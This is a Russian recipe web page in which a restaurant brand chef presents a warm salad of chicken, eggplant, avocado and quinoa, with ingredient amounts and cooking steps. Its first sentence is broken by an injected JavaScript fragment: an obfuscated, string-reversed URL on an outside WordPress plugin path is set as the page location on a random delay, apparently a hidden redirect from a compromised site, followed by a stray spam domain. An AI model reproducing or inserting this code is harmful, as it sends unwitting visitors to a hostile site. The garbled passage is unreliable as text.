Думаете, сытный салат можно приготовить только с майонезом? Концептуальный бренд-шеф ресторанов «Тануки» Олег Чакрян доказывает, что это не так, и делится с читателями fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru рецептом очень вкусного тёплого салата из курицы и баклажанов.
181 calories
Тёплый салат с курицей и баклажанами
Cалат с азиатскими нотками для тех, кто устал от оливье и селёдки под шубой и хочет научиться готовить как шеф-повар.
Тёплый салат с курицей и баклажанами
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
25 минут
КОЛИЧЕСТВО ПОРЦИЙ:
1 порция
КАЛОРИЙНОСТЬ:
181 ккал
Сложность
Время
25 минут
Кол-во порций
1 порция
Калорийность
181 ккал
Ингредиенты
Курица (филе, жареное)
50 г
Баклажаны
1 шт.
Крахмал
20 г
Авокадо
25 г
Томаты (черри)
30 г
Киноа (предварительно отварите)
30 г
Шпинат (свежий)
3 г
Кунжут
1 г
Кинза
1 г
Масло
10 мл
Для орехово-кунжутного соуса
Соус (кунжуртный)
75 мл
Соус (понзу)
15 мл
Мёд
13 г
Для заправки
Уксус (рисовый)
27 мл
Соус (соевый)
50 мл
Сахар (пудра)
13 г
Масло (кунжутное)
13 мл
Процесс приготовления
- Авокадо очистите и нарежьте на дольки, затем обжарьте со всех сторон на растительном масле.
- Помидоры черри разрежьте пополам. Жареное куриное филе нарежьте на кубики размером 2 х 2 см. Баклажаны очистите от кожуры и нарежьте на кубики размером 2,5 х 2,5 см.
- Курицу и баклажаны обваляйте в крахмале. Поместите баклажаны во фритюр, затем добавьте курицу и обжарьте ингредиенты до готовности.
- Приготовьте соус и заправку — в отдельных мисках соедините ингредиенты и тщательно перемешайте.
- В миске соедините помидоры черри, курицу, баклажаны и киноа, добавьте орехово-кунжутный соус и хорошо перемешайте. Выложите салат горкой в центр тарелки, сверху — листья шпината. Полейте заправкой.
- Украсьте салат листьями кинзы, дольками авокадо и кунжутом.
Статьи по теме
Как приготовить роллы дома: рассказывает бренд-шеф японских ресторанов
Всё о японской кухне: чем полезна, что попробовать и как питаются японцы на самом деле
Моджи: что это за десерт и почему вам нужно его попробовать
Как выбрать вкусных кальмаров и что из них приготовить: рецепты от шеф-повара
